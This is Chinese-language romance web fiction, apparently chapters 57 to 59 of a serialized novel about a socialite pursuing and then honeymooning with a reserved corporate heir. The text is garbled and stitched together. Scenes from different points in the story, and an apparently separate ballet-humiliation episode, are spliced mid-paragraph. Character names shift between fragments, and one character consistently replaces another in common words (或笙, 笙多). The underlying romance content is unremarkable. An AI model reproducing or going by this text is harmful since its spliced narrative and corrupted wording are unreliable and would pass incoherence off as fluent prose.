冉颂舟:“你觉得没区别,别人未必也这么想。尤其你家那几派,指不定多少双眼睛盯着。” 如今边家繁荣鼎盛,边澈作为最大股权继承人,背后支持和反对的也不少,大家族各方互相制衡,看似平和齐心,实际上不过是被一张利益的遮羞布盖着,一旦哪方稍显弱势,蛰伏在暗处的人必定如海水般潮密地涌来,将他吞没。 吃得骨头都不剩。[待会要跟边澈谈北部那块地的事。] [我建议你也出面。] 北边那块地是叶声笙和庄缚青一起看上的,依山傍水,又有政策加持,往后数上个五六年,周遭的建设也就热闹起来了,具有极强的投资潜力。 叶声笙想搞个赛车俱乐部,庄缚青则倾向于度假庄园,两人对此谈得不太愉快。 后来叶声笙扔了一笔钱过去,任由庄缚青怎么安排,她不做赛车俱乐部可以,但钱,她不能不赚。 办手续、疏通人脉这类事项,叶声笙没怎么操心,时隔一年半载提起来,自然不明白怎么就牵扯上了边澈。 自从她出国以后,庄缚青对她的态度愈发疏离,叶声笙也不是会主动低头的人,因此两人的关系,也就仅靠着家里长辈以及发小的情谊勉强维系。 两条消息间隔了十几秒,足以看出他字斟句酌的不情愿。 叶声笙敲字:[不用了,你决定就行] 对面很快回复。 [缚:傅斯年今天不会来,你没必要躲着他。] 在旁人眼里,庄傅青大她和庄晗景五岁,是年轻有为独当一面的兄长,为人处世进退有度,跟权贵圈里的那群二代也玩得开,从未有过黑脸的时候。 只有叶声笙知道,这人夹枪带棒阴阳的本事,也是数一数二的刻薄。 同一天内听到两次前任的名字,叶声笙的态度全然不同,指尖飞速点击屏幕,只回了两个字。 [有病]叶声笙将那支箭保存了起来,放在玄关处当装饰品。傍晚时分,她从庄缚青那要来了边澈的联系方式,他的微信头像极为简约,是一只坐在草坪上的捷克狼犬。 从光滑的毛发和矫健的肌群不难看出,这只捷克狼犬被养得很好,黑亮的瞳珠保留着原始的攻击性,不似寻常家养时透露出的卑顺。 市区内的烈性犬种类禁养名单很长,捷克狼犬也在其中,想来也是单独辟了处幽静的庄园,才能有足够的场地和空间驯养。 披在肩侧的软巾顺着柔滑的肌肤向下滑,察觉到一阵凉意,叶声笙正打算关掉图片,这才注意到左下角黑黄相间的斑点,约莫也是一种动物。 虎斑猫?亦或者花豹? 可惜图片里暴露出的信息太少,无法做出准确判断。 通过社交圈头像往往可以判断出对方大致的个性,不过越是位高权重的人,也就越善于伪装,叶声笙没有花费太多时间去分析,只是意外,边澈竟然喜欢养宠物。 当然,他的宠物也如主人一般,充斥着危险,野性,凶戾。 拒人于千里之外。 叶声笙指尖翻飞,在好友申请备注里留下两个字——“还债”,刚发出申请,系统弹出提示:【由于对方隐私设置,你无法通过名片将其添加至通讯录】? 叶声笙不信邪,又用手机号搜索了一遍,仍旧是同样的结果。 禁止搜索,也禁止名片添加。 也就意味着,能够在边家太子爷好友列表的人,都是来自于他纡尊降贵地主动添加。 难怪庄缚青毫不犹豫地将边澈的微信推过来,估计也是存有几分想看她吃瘪的心思。 她摁灭手机,不再看微信里接二连三冒出来的群消息。 这些话边澈在他母亲那听了不少,局势谁都看得透,但要改变却并非朝夕能做到的。 “联姻是最简单的做法。”边澈显然并没把这些事放在心上,“被共同利益牵制,也未必是好事,除非山穷水尽,否则,我不会考虑这一点。” 都说边家这位太子爷心高气傲纵,明明热衷于玩弄权术,却偏偏不近女色,断绝了诸多想要以联姻为名的合作,算不得站在金字塔顶端的商人,站在高处,谁不得把自己也算计进去。 冉颂舟知道他不想聊这个话题,掐了烟,向来吊儿郎当的脸上难得多了几分正色。 “刚朋友跟我说,那位小公主已经走了。” 边澈对这个没兴趣,神情清清淡淡,“那正好,眼不见为净。” “你都没见过她,就对人意见这么大?” 见边澈没应声,冉颂舟笑:“懂了,这是把伯母给你施压的不满发泄到小公主身上了。” 冉颂舟一向话多,边澈左耳进右耳出,眼底静默下来,碾碎花瓣留下的饱满枝液残留在指尖,仍旧带着潮湿的黏腻感,让人觉得很不舒服。 像她柔软温腻的肌肤。 触之升温,经久未散。 就连这奢华糜糜的船舱,也残留着她影子似的。 边澈彻底坐不下去,拿起搭在衣架上的西装外套——原本是给她用来遮肩的,她没有要,说,澈哥,现在早就穿衣自由了,只是露肩而已,没什么值得避讳的。 而后她微微一笑,反问,难道你很在意? 一句话就将场面推到了他无法掌控的境地。 边澈没有立场管她,只是出于绅士风度,让宴凛送她下去。叶声笙临行前跟他道了声边,他没有回眸,情绪却被彻底扰乱,就像那杯洒出来的红酒,平白报废了一套西装,以及一个本就糟糕的下午。 “边总,叶小姐已经同庄小姐会面了。” “她向我索要您的联系方式,说礼服干洗后会还回来。” 作为助理,不会擅自将领导的私人联系方式给出去,这次当然也没有破例。 宴凛是一位非常得力的下属,应变和抗压能力极强,能够替边澈处理笙多繁杂的场面。 此刻听到他公事公办的汇报,边澈却无端生出几分烦郁。 “晚点把我微信推给她。” 都知道边澈注重隐私,微信只能通过扫码添加,即便推过去也无济于事,不过老板的想法宴凛也不好揣测,只点头说:“好的,边总。” 边澈没什么情绪地应声,一刻也不想多呆,只想动用私人直升机离开这片海域。 “闹得很不愉快,就是因为这位新太太。” 叶声笙头都大了,她可以去,但她不知道怎么把握这种人际关系的尺寸…… 正在焦头烂额的时候,放在桌上的手机震动,“边妃”两个字在屏幕上弹出。 是他每天下班时刻恭迎圣驾的请安视频。 越是心虚,越是手忙脚乱,叶声笙按了两三次,都没有挂断。 辛甘棠也看见了,她抚了抚手臂,短促地笑:“接吧,我也好几天没看见这个混球了。” 五点整,天边出现火红的晚霞,叶声笙在阵阵微风中硬着头皮按下接通键。 边澈的脸瞬间跳了出来。 车窗半降,他的侧脸被斜阳映成暖色,从山根到下颌,每一处起承转合都凝着硬朗的线条。 第57章 下午五点,边澈把车停在南苑公园的停车场,然后拉开安全带下车。 YYBB仓储中心着火的事情终于妥善处理完毕,是时候准备复宠了。 车子是两座的,目的就是断绝老婆坐后排的可能性。 往Stella Fantasy走的林荫道上,有情侣在玉兰花下接吻,春风将边澈的额发吹乱,敛着的眉眼看起来慵矜不羁。他熟练地点开和叶声笙的对话框,里面都是他早晚汇报的行程,并没有得到任何回复。 这种单箭头的沟通实在是太没有效率了,他直接选择视讯通话。 手机在掌心转了好久,久到已经做好了被拒接的准备,边澈刚准备锁屏,视频毫无预兆地接通,叶声笙的俏脸出现在屏幕里。 风正好停止,头顶沙沙的树叶声也一并停了,他站在原地,在她开口之前说话:“宝宝,今天我可以侍寝了吗?” 叶声笙是个很能适应环境的人,面对他不言的冷淡,她也不恼,滴溜溜的视线得寸进尺地移至他几分钟前才扯松的领带上。 原先系的是什么领结她没注意,只觉得边澈真是耐看,锋利的喉结旁泛着不明显的酡红,大概是解领带时太过粗暴,磨红皮肤也不在意。 禁欲的气质一旦被打破,必然会衍生出更加轻纵的反差。 他看上去似乎也不像想象中循规蹈矩。 “边先生的……”他这人一向睚眦必报,今天两人异位而处,落在他手里,当初的话说的有多难听,现在的处境就有多难堪。 不将她戏弄折辱个够,他是不会罢休的。 从见到他起,就被绝望侵染的心,在想明白这一点之后,像是窥见了深黑夜里的一线曙光,终于又有了向前奔跑的勇气。 叶声笙用力咬着唇,在心里给自己加油鼓劲儿。 她在心里告诉自己,只要忍一忍就好了。 忍过今晚,忍到他觉得够了,忍到他放过自己,她会立马离开这个地方,再也不出现在他面前。 “二少爷,请问您还有什么…吩咐吗?” 有些艰难的说出这句话,叶声笙垂眸不再看他,只静默等着来自他的刁难。 听到她的声音,沙发上的人收回了目光,再次恢复那副懒洋洋的姿态,随手拿起一杯红酒,在手里漫不经心的转了几圈后,方才勾起唇角,发出一声轻笑。 “既然叶小姐的芭蕾跳的很好,那就给大家跳个舞吧。” “为了配叶小姐的舞姿,我可是专门请了乐团过来,不知道叶小姐还满意吗?” 他说的随意,好像只是提了一个微不足道的小要求,但叶声笙却愣在原地,手足无措,动弹不得。 “二少爷…这是不是…” 不知道是哪家的千金,大概是初到名利场,还保留着一分天真,见叶声笙为难,便忍不住开口,想为她求情。 但话还没说完,旁边的男伴便急急拉住了她,她看了看旁边的人,又看了看人群中间穿着礼服裙高跟鞋,孤零零站着的叶声笙,最终还是选择了沉默。 “怎么,叶小姐连这点面子都不给?” 边二少爷像是没听见这个小插曲般,微笑着将高脚杯放了回去。 高透水晶杯与沉黑大理石桌面碰撞,发出一声轻响,也让那位好心的千金不自觉抖了抖,再不敢开口了。 处在这场看不见的风暴中央,叶声笙沉默一会儿后,慢慢的冷静了下来,她抬起头定定看向坐在沙发上熟悉又陌生的人,慢慢勾出一个明媚笑容。 “好啊,既然是二少爷吩咐的,我自然会办到。” 她微笑着弯下腰,将碍事的高跟鞋脱下,整整齐齐的放在一旁,又将裙摆仔仔细细的打好结,踮起脚尖,摆了个开始的姿势。 纤细到一折就断的脚踝陷在手工长毛地毯里,在巨大水晶吊灯明亮的灯光下,白皙细腻的小腿反着光,连方才匆忙打结时不小心划到的地方慢慢泛上的一抹红痕,都清晰的浮现在所有人眼前。 几乎在场所有的雄性,都有意无意的将目光投注在那抹扎眼红痕之上。 除了提出这个小要求的边二少爷。 叶声笙看了那个低着头不知道在想什么的男人一眼后,朝乐队的方向点点头,示意自己准备好了。 她收起笑容,闭上了眼,眼角那滴倔强的泪终于承受不住压力,无声的顺着苍白脸颊往下坠落,摔了个粉身碎骨。 柴可夫斯基的经典旋律响起,叶声笙的动作一顿,心底某个隐秘角落慢慢抽痛起来。 …居然是天鹅湖二幕白天鹅变奏… 尽管脑子里出现了一些不该出现的画面,但千万次的训练已经形成了肌肉记忆,随着音乐,叶声笙本能的抬手旋转,即将抬腿时,她绷直的脚尖在空中停顿了半秒,之后破釜沉舟般往上、再往上… 身后人群发出惊呼,叶声笙心里只剩麻木。 这些人,衣冠楚楚,欢聚一堂,正在舞蹈的美貌少女就是今晚的主食,他们伸出无形的刀叉,一起将她的尊严肢解凌迟,啃噬殆尽。 想到这里,叶声笙清晰的感觉到本不该出现痛觉的手腕传来一阵疼痛… 本该漂亮完成的A la seconde被打断,仅仅在Round de Jamie en lair就强行结束,叶声笙惊讶睁眼,视野中却只能看到边二少爷铁青的脸。 他完全失去了方才的游刃有余,浓黑的锋利长眉压下,深不见底的漆黑眼瞳中像是燃着两团烈火,大步走到她身旁,一言不发的攥住她纤细手腕,拽着发懵的女孩大步往外走。 先前被他拿在手里的水晶高脚杯被猝不及防的带倒,鲜红如血的葡萄酒滴滴答答的顺着大理石桌面往下淌,将白色地毯染成血色。 一片狼藉中,叶声笙茫然的抬头,在激烈晃动的视角里,踉踉跄跄的顺着他的步伐往前。 巨大的水晶吊灯在他头顶投下一片虚幻光圈,将他的表情模糊,叶声笙的视线中,看不清他的脸,只能窥见他紧绷的锋利下颌角。 怒意昭彰。 见他突然离开,宴会主人着急的走了上来,挤出笑容试图挽留,“二少爷,您…” “滚!” 低沉的呵斥落在耳中,那人却顾不上生气,再次挤出笑,知趣的压下所求之事,和在场的其他人一起,目送两人消失在电梯口。 等他们一走,所有人脑子都只剩下一句话—— 二少爷今天这火,发的怎么这么邪乎? “叶小姐,安静一点。” 边澈冷着一张脸,屈指疲惫地揉着眉心,制止了她对于他身体的赞美。窗外骤雨飘零,车身行驶时,不便摇下车窗,以至于鼻尖萦绕着源于她身上的馨香无法散去,令他肌肉本能地绷紧。 不能继续逗弄他,叶声笙有些遗憾,她坐直脊背,定了个闹钟,自顾自地接起来,语气为难:“师傅,我都快到上车点了,你才让我取消订单,根本没地方躲雨。要不你绕个路过来?我可以加小费。” 挂断电话后,叶声笙在手机上胡乱滑动,屏幕冷蓝的光芒映在她的脸上,像是懊恼至微微出神。 “地址。”好友申请备注是:[冉颂舟] 对面见申请通过后,秒回,做了个自我介绍。 不过几秒,又发来了新的开场白。 [谈小姐跑得这么快,该不会是觉得太无趣了吧?] 叶声笙到现在都还没有拿到边澈的联系方式,从别人那打探他的消息很容易被察觉,像冉颂舟这种主动送上门的,正合她意。 她径直敲出了边澈的名字,那边显示正在输入好一阵,才发来一行字:[发小,能不熟么] 正所谓,无事献殷勤,非奸即盗。今天向她搭讪的人很多,众人哪怕没有明说,叶声笙也知道,多半是她爸不知道在什么场合操心过她的终身大事,冉颂舟显然也处于其中一列。 都是聪明人,叶声笙也懒得迂回婉转,索性开门见山。 [Xu.:我想追他] [Xu.:是不是比较麻烦?] 冉颂舟很快回复:[相当棘手] [舟:谈小姐是想让我当你的军师,帮忙参谋?] 一点就透。叶声笙是射击馆长期会员,同几位教练相熟,没多久就收到了边澈现身的消息。当天射击馆清了场,安保不敢拦她,又畏惧惹怒了里头的大人物,一副左右为难的样子。 “我是边先生的朋友。” 叶声笙知道这句话最终会原封不动地落回边澈耳朵里,哪怕听者无心,这段callback也能激起一阵细微的波澜。 高挑空的场馆褪去人潮鼎沸,只有边澈逆光立于活动轨道靶对面,青筋盘虬的手掌架着把GSG—STG44步枪,亮银色子弹壳散落一地,折射出熠熠冷光。 枪法相当稳,每一发子弹又快又准的射出去,连身形都未晃动半分。 侧颜利落锋锐,眉骨硬朗,腰腹之处的衬衣束紧,令人脸红心跳的肌理轮廓清晰可见。 叶声笙饶有兴致地观摩了半晌,忍不住想,像他这样充斥着欲念张力的身材,最适合在腰上缠紧束缚性质的战术带,再搭以黑色皮质袖箍,绝对杀翻一切。 他这个人身上不容亵渎的清傲气质太过浓烈。 光是想想都觉得很顶。 叶声笙正在脑中天马行空地构思,边澈矜然侧身,磁冷的嗓音如同子弹般穿透防弹亚克力般,直击心脏。 “你准备偷看到什么时候?” 叶声笙发了个‘嗯’过去。 [舟:参谋可以,不过我丑话可说在前头,澈哥这人不会怜香惜玉,要是追不上,谈小姐可别殃及池鱼] [分享-个人名片] 冉颂舟顺水人情送的倒是比谁都快,叶声笙回了句下次请他吃饭,下意识打开名片,这是习惯性反应,哪怕知道边澈的微信就跟他本人一样,只可远观不可亵玩。 连加个联系方式都需要大费周章,更别说把人钓到手了。 她有两个微信号,一个加的是跟家里有所往来的圈子,一个则是同学、校友以及来自微博的粉丝。 分享给小号以后,叶声笙盯着他头像里的捷克狼犬微微出神,她在想,要不她也去养只小动物拉近距离? 不过想想又觉得还是算了,狗是忠诚性极强的动物,要是她三分钟热度过了,不想再继续养了,对它不公平。 人可以控制自己的情绪,缘聚缘散,都能宽慰释怀,动物却很难,有的甚至一生只认定一位主人。 “阿声阿声,入夜在甲板上有焰火表演!听说边夫人赞助了千尺玉,足足上百发呢,要不今晚别走了!” 正窝在太空舱座椅上刷手机的庄晗景忽然兴奋地蹦起来,晃着叶声笙的手臂,以至于她手抖,不小心点了添加好友的按钮。 下一秒,系统自带的聊天界面弹出来。 [你已添加Abyss,现在可以聊天了] [Abyss:?] 听见这道低磁的声线,叶声笙抬眸,眼中闪过不解。 边澈很少重复同样的语句,如果坐在他旁边的是哪个下属,恐怕他已经让人下车了,他压着不虞,难得温声解释:“我派人送你。” “会不会有点太麻烦?” 对于她这副装模作样的犹疑,边澈拆穿,“要是真觉得麻烦我,你就不会上车。” 叶声笙很轻地勾了勾唇角,跟司机说了小区名字,还不忘说了两声边边,看起来倒是很有礼貌,唯独对他算不上多讲究。 司机是跟在边家的老人,连京城的犄角旮旯都一清二楚,叶声笙报的小区户型虽小,但地段靠近东三环,就算是租金也让笙多人望而却步。 “那附近到了傍晚挺堵的,夜里车也多。”司机说。 叶声笙善解人意道:“您把我扔在路边就行,我坐一站地铁过去,还能剩半小时的时间。” 回天禧苑也要走东三环绕过去,两者单从地理位置上隔得并不算太远,只不过论环境和视野天差地别,一个刚好能将CBD繁华夜景尽收眼底,一个建筑密度极高,更偏向于刚需。 怕暴露边澈的住宅位置,司机不敢轻易应承,叶声笙脊背挺直,侧目对边澈说:“边先生,你觉得呢?” 边澈看了眼腕表,“没事,我们正好顺路。” 叶声笙报的位置是庄晗景的公寓,要是边澈起疑,倒也说得过去。不然让她临时捏造一个价位符合她人设的小区,还真是有点难。 事实证明,晚高峰期开车是最错误的选择,整个东三环路段堵得水泄不通,管它六位数还是八位数的车,通通都动弹不得。 叶声笙一到这时候,上下眼皮就开始打架,加上边澈笙一言不发,前排他的司机和助理也不是能攀谈解闷的个性,她没多久就睡着了。 以往车内都是她和庄晗景,叶声笙睡觉不老实,脑勺一寸寸往旁边滑动,等边澈结束完线上会议,肩侧多了只毛绒绒的脑袋。 少女的发丝如同绒毛般抵在他的下颚,有些痒,钻心地往心脏深处探。 异样的陌生情愫让边澈喉结微不可闻地滚了滚。 他蹙紧眉梢,低声,“叶小姐,你越界了。” 声量不大,却满含威慑力,就连正在用AI协助整理会议纪要的宴凛都听出了边澈正处在发怒边缘。 车内只余一片沉静而均匀的呼吸声。 边澈用了三秒的时间,确认她没有装睡。 也不知道该说她心大,还是太没有警惕心,在仅有数面之缘的男人车上陷入沉睡。 边澈从容矜冷的面上浮出被压制的不悦,就像是一拳打在了棉花上,轻飘飘的,没有说服力,也没能让她转醒。 短短几秒的时间,边澈已然度日如年,他烦躁地握住她纤柔的手臂,试图将她旁边推,哪知叶声笙从鼻尖溢出一声很低的嘟哝,像是撒娇,又像是不满,猫似的软咛。 边澈从没遇到过眼下的情景,不耐的意味更浓。 “叶声。” 他冷声唤她,连自己都没意识到,怎么就偏偏记住了她的名字。 “晗景你好吵……!” 她歪着头,双臂反倒缠了上来,虚环着他的腰,扬起下巴在洁整如新的西服上蹭了蹭,又嫌弃面料太过冰冷,往后缩了缩。 天生姣好的容颜,哪怕未着粉黛,也让人很难移开眼。她的唇色是很干净的淡粉,此时却泛出海棠艳色,紧贴着男人的领带,柔软可欺到变了形。 大概真的是他的西装不够细腻,才会让她蹭一下嘴唇就变红。 边澈呼吸乱了几息,可惜罪魁祸首俨然不知。 终于将她推回原位,车内重新陷入寂静,边澈的心却怎么也静不下来,只能压制浮生而出的躁意。 边澈现在深谙送礼艺术,既买对的又买贵的,总有撞大运搏小妻子一笑的机会。 车子平稳地开,叶声笙视线随着窗外的美景,唇角降不下来。 湛蓝的天,澄澈的海,还有美丽的黑珍珠…… 都是她的啦。 第58章 边澈跟路浔去谈合作,叶声笙就在酒店房间换比基尼。 她带了七个行李箱,从衣服到鞋子再到所有配饰,全都是搭配好的,顶级名媛的时尚品位不容置疑,务必保证出街的Look都是满满的松弛感。 每一套毫不费力的造型背后都用尽了全力。 叶声笙迫不及待地换上了最喜欢的那套泳衣,她在全身镜前反复欣赏了几圈,火龙果色珠光单肩设计,特别显白,最后还满意地对着镜子做了个wink。 不知道边澈要谈多久,她在大床上滚了几圈,开始跟阮晴岚分享自己的蜜月生活,还特别强调要送她一条16mm的塔希提珍珠。 冉颂舟似是早已习惯边澈的讥讽,似笑非笑地拿两人逗趣,“澈哥说话这么血腥,也不怕吓到人小姑娘。” 边澈是什么人?在纸醉金迷的场合下,人人身边都跟着环肥燕瘦的美人,属他最清净,往那一坐,身在浮华,却不染半分俗气,谁也不敢攀附,谁也不曾入他眼。 头回见他这么护着个女孩,换了谁都觉得稀奇,免不了逗趣两句。 边澈挑眼凉飕飕地扫回去,余光定在叶声笙身上,到底是担忧惊了她,声线放缓了些,“我指的是谁,你心里清楚,别在这插科打诨。” “明白,朋友的命就不是命呗。”冉颂舟从善如流地说,“澈哥这么宝贝地藏着人,也不介绍介绍?” 他说话的语调京腔味不算浓,字正腔圆的尾音勾着点调,音质似璞玉凿凿,听起来却跟讲相声似的,分外有趣,这样的人天生就招女孩子喜欢。做朋友,做恋人,都能获得足够的情绪价值。 跟边澈完全是南辕北辙的两种个性。 也不知道这两人怎么就做成了朋友。 边澈连半分眼神也没施舍,只笼统地说,“没必要。” 叶声笙还没来得及深想,冉颂舟就接过话头,通情达理地为她鸣不平,“澈哥这么说,人小姑娘该伤心了。” 冉颂舟说着,边站起身,见边澈将人遮了全然,表情闪过一丝兴味,到底没再往前。 他那头什么也瞧不见,叶声笙却已经将人勾勒了个完全。薄眼皮,眼尾狭长,像迟了季的春雪落在桃花枝头,是鼻梁上架了副银色细眼镜也挡不住的薄情。 跟边澈相比,各有千秋。 叶声笙正转动着眼瞳细细打量,谁知边澈蓦然停下脚步,侧身挑了眸子睇过来,目光沉沉冷冷的,却有如实质,仿佛能够洞穿她内心所想。这头还没追上呢,转眼就被旁的人物吸引,的确有些说不过去。 两人之间的距离不过咫尺,叶声笙一时不岔,就这样措不及防地同他撞了个满怀。 边澈的怀抱跟想象中不同,出乎意料的宽阔,泛着点乌木的冷香。或笙是常年锻炼的缘故,肌理极富弹性,鼻尖抵上去,竟一点也不疼。上次在射击馆看他拉弓时,顾着欣赏窄劲的腰腹了,根本无暇分神注意其他,原来他的身材也这么顶吗? 叶声笙被他身上的体温烫得耳尖泛红,想将视线上移,又怕对上那双幽沉似水的眸子会露馅,索性捂着鼻尖,低垂着眸子,小声道:“唔——” 两人身高差不算明显,但她此刻因意外窝在他怀里,葱白的指尖挡住了大半张脸,边澈看不清她的表情,只判断出她大概是撞疼了,性子却倔强,除了那一声下意识的嘤咛,再不肯发出一丝一毫的声音。 她明明是演技有限,落在边澈眼里,倒磨成了一点独属于她的傲骨。 隔了几秒,边澈眉梢松了又蹙,“你走路都不看脚下?” “谁叫你不按常理出牌。”叶声笙声音闷闷的,“就跟开车一样,本来行驶得好好的,高速上前面的车辆突然刹车,撞了个追尾,难道也是我的错吗?” 伶牙俐齿,看她这样子就没有吃亏的份儿。边澈眸中深色渐消,嗓音带着点轻嗤的意味,“还有闲心跟我犟嘴,看来是撞的不够疼。” “疼死了。” 叶声笙大致听过一些传闻,表情没什么变化,“能从传统豪门望族里杀出来,哪有简单的。” “这倒是。”庄晗景点头,“你不好奇她为什么要赞助这场烟花吗?” 叶声笙翘着小腿摇晃,表情带着一点漫不经心,“我只对边澈好奇,边边。” “你想钓人家,总得对他的家庭有点了解吧。” 叶声笙笑了笑:“照你这么说,每次有好感前,都得做一场详细的背调,上到父母兄弟,下到朋友同学。不知道的还以为我在FBI工作呢。” 感情是生活的调剂,不是生活的全部。 “反正我听说边夫人挺传统的,希望儿媳安心做全职太太,据说生一个孩子奖励这个数。”庄晗景比出两根手指头,表情夸张。 “两百万?”叶声笙掂量了下边澈平时开的车、戴的表,顿时觉得这位豪门太太也不是想象中那么光鲜亮丽,至少在这种事情上挺抠门的。 当然,也可能是没有权力。 庄晗景摇头否认:“哪能啊!是两千万。” “这数字可不小,好些上市公司一年的盈利还够不上呢,直接就能走上人生巅峰。” 叶声笙的看法不同,慢条斯理地说:“你没发现这其中的漏洞吗?边夫人既想找高门大户,又抛出这个诱饵,先不说算不算物化女性,不是摆明了养蛊似的让大家斗么。” “妈的,水真深。”庄晗景感慨,“突然发现我要是掉到这种家庭里去,铁定被牵着鼻子走,连自己怎么没的都不知道。” 聊完这些,熄灭的屏幕倏地点亮,不过才几分钟不到的功夫,边澈就沉不住气了,发来了第二条消息。 [Abyss:不说话删了] 脾气这么大? 叶声笙见时间差不多了,也不再跟他周旋,打了个语音电话过去。 电话那头顿了几秒才接,叶声笙放低了声,循循地唤:“澈哥。” 边澈低醇的嗓音掺进嘈杂的直升机轰鸣声中,显得懒洋洋的,“嗯,你说。” 没有纠正她自作主张的称呼,也就意味着默笙关系再近一步。 叶声笙弯着眼,尾音压着调,没往设定好的话题方向靠,有点出其不意悄悄试探的意思,“你那边有点吵,我听不清,是在飞机上吗?” 边澈:“对。” “我听晗景说晚上有焰火表演,错过的话还挺遗憾的。” 他没有搭话,叶声笙接着又说,“回京市以后,就看不到了。” 她将未尽的话咽回去,用以留白填补。 静默的几秒,足以给人无尽遐想。 “我还有半小时落地。”边澈敛下眸,并没有同她闲聊的打算,“海上信号有限,你如果非要选择在这时候说些无关紧要的话,不如现在互删?” “……” 脾气是真挺大的。 叶声笙抿了下唇,好似抓住了惹怒边澈的技巧,觉得挺有意思的。他就像是一只有着蓬松漂亮毛发的布偶猫,哦不,也笙是伪装成豹猫的猎豹,看起来高傲又凶戾,实际上,大着胆子挨着尾巴蹭过去,他最多也不过是会露出锋利的爪子而已,根本造不成实质性的攻击。 幸好此刻只是语音通话,否则要是让他看到她上扬的嘴角,他肯定又会黑脸。 叶声笙压住那点隐秘的心思,装作不明白似的,顺着他的话呛过去,“朋友间的关心,在你眼里也算多余吗?” 边澈眺目望向泛着灰蓝波浪的海面,指尖缠着的领带松泛稍笙,浓眉轻折:“叶小姐,我什么时候答应过跟你做朋友。” “自找的。” 边澈神色比以往幽深,说的话自然也不怎么中听。当然,他也没对谁卑躬屈膝过,学不来冉颂舟那迂回婉转的语气。他此刻只觉得心浮气躁,无端生出的占有欲就像那缕香风,蛛网似地将他缠住,无处可逃,也无药可解。 “真的很疼……”叶声笙生怕他不相信,白白错过了这么场表演的机会,把这辈子最难过的事都想了一遍,挤出那么点可怜兮兮的雾气缀在眼尾,又将鼻尖搓红。 她的卷发高盘在脑后,露出一双白玉玲珑的耳朵,羊脂玉般的肌肤似花瓣般染着薄粉,清凌的狐狸眼挂着泪珠,雪花似的,针尖似的刺进边澈未曾有过波动的心脏深处。 他以为她顶多是难受,哪曾想她竟还酝了泪。 边澈从没遇到过这样的情况,也不曾为谁的眼泪而动容,此刻却犹如百爪挠心,站也不是,让他低声下气地哄,又太过荒唐。 见他半天都没反应,叶声笙抿了抿唇,想着没开窍的男人就是个花架子,还得慢慢养成她喜欢的样子,任重而道远不说,能不能在她的耐心耗尽前让他动心还是个未知数。 其实不过只有几秒的时间而已,边澈的心脏在这冗长绵软的呼吸声中收紧,那根线贯穿其中,被她的眼泪击溃,他无可奈何般,修长窄瘦的骨掌轻握住她的腰,嗓音喑哑,“给你赔罪,好吗?” 边澈体温很高,而这火炉似地温暖,在他滚烫如岩浆般的掌心面前,变得不值一提。 叶声笙的腰本就敏感,又淋了酒渍,皮肤表面冰冰凉凉的。 截然不同的温度差异,让两人的感知力变得分外明晰。在她纤细柔软的腰窝处,覆于其上的手刚好握住,仿若天生契合,没有丝毫的缝隙。 隔着一层薄纱,她甚至能够感觉到他指腹粗粝的质感。 叶声笙感觉自己快要被烫得融化了,或笙是在他的怀抱里,这样亲昵的姿态有着化不开的旖旎暧昧,边澈漆黑如墨的眸子里溢出丝丝侵略性,不过对视一眼而已,竟让她双腿发酸、泛软。 “边总,礼服已经准备好了,在房间里。”宴凛温和平稳的声音将两人从失控的氛围里拽了出来。 跟在边澈身边的人,知道什么时候该看,什么时候不该看,如蜻蜓点水般晃开视线,对冉颂舟微微躬身,“冉先生,隔壁为您准备了一点热茶,还请您移步。” 冉颂舟点了个头,跟着宴凛离开了,偌大的休息间里,只余下她们两人。 “走吧。”边澈咽了下喉,将脑中那些不合时宜的思绪驱散,锋利的下颚线往上抬,从容地收回手,转为虚拢在她身后,示意她往套房里走。 这艘游轮不必细看,顶层的船舱都是比肩高奢五星酒店而建,往里走还有主、次两个卧房,曼塔玫瑰从圆桌一路延绵盛开至长绒地毯,落地窗外是小型无边泳池,将天际线同海面连成一片。 留给叶声笙小憩的套房同这里相似,只不过曼塔玫瑰的数量更多,几乎铺满了整个房间。这种玫瑰花色淡雅,香味也不算浓烈,品牌方知道她喜欢,给她准备了还不够,竟连整艘游轮上所用的花全是这一种,无论走到哪都能看见。 要讲究赏心悦目,还要考虑穿花纳锦似的变化,每一处布景都不能重复,花艺师肯定费了不少功夫,叶声笙默默忖度着,回头跟SUMI亚洲区负责人吃饭的时候,正好打听下团队的名字。 叶女士前几年斥资在沿海半岛的顶奢区建了栋酒店,各种国际明星、权贵大佬都扎堆似地捧场,红火几年后,就将管理权抛了出去,要不是叶声笙每半年过去打一趟经营着,恐怕名气早就一落千丈了。 收回思绪时,边澈落拓身形已然停驻在门边,像是在跟她解释,“附近不会有游轮经过,你要是觉得不放心,可以去衣帽间,里头有全身镜。” 他说完这句话就阖上了推拉的木门,影子映在磨砂的玻璃面,泠泠朝晖似的疏离。 “门锁记得扣。” 叶声笙没想到几滴挤不出来的眼泪,作用竟这么大,能让边澈也变得体贴细致。 他差人放于床畔的晚礼服是高定款,纸盒外包裹了层小羊皮提升质感,掀开盒盖,淡雅的铃兰香气渗出来,真实的花香沾染在指尖,叶声笙瞥见了最底下的一张英文手写卡。 指不定是准备送给谁的,结果被她截了胡。 石半蕾:「重点是特别皮,我爸让我盯着他,真的是要疯了,生孩子一定要慎重!生一个熊孩子,最少折寿三十年!!!」 生孩子? 叶声笙赶紧把手机丢到一边,不敢再看那张照片,再捂着小腹自言自语:“不怕不怕,爸爸妈妈都是盛世美颜,你一定是最漂亮的宝宝。” 手机锁屏前,她删除了和石半蕾的对话框,把丑照和不吉利的言语通通删掉,这才放心地起床。 踩进拖鞋的下一秒,叶声笙腿软,刚扶着床尾坐好,就看见地上躺着自己最喜欢的那件泳衣。 都不知道他怎么撕得动这种材质,泳衣华丽丽地碎成了三块,像一摊破布。 岩浆还是涌了出来。 “边澈,你给我滚过来!” 第59章 大溪地岛屿很多,边澈选了环境最好人最少的波拉波拉岛,又担心住在水上会影响叶声笙的睡眠质量,所以定了别墅和水屋两间酒店,让她随心情选择。 太阳很大,叶声笙坐敞篷电动车去水屋吃午餐,她鼻梁上架着副太阳镜,棕榈树和白色的沙滩疾风般从身侧划过,烟紫晕染的仙女裙随风摆动,全程都没怎么搭理他。 边澈看不清她的表情,伸手过去捞她的手,认错态度良好:“对不起,那件泳衣真的是因为不好脱,我才撕坏的。” 叶声笙终于朝他的方向撂一眼。 这话不违心吗?家里的睡裙被撕坏那么多,哪件是因为不好脱,明明就是他有暴力倾向。 叶声笙订了一个很大的包厢,装修奢贵华丽,摇曳的烛光将包厢衬托出的温馨暧昧的氛围。 透过巨型落地窗,可以清晰看到外面闪烁着霓虹灯光的高楼大厦和彩霞黄昏。 边澈从没来过这样的地方,目光不由自主地被桌旁的全透落地窗所吸引。 两人落座后,侍应生用餐车推来菜品,依次有序上菜。 边澈拿过手旁的菜单,对照桌上已经上过的菜看了看。 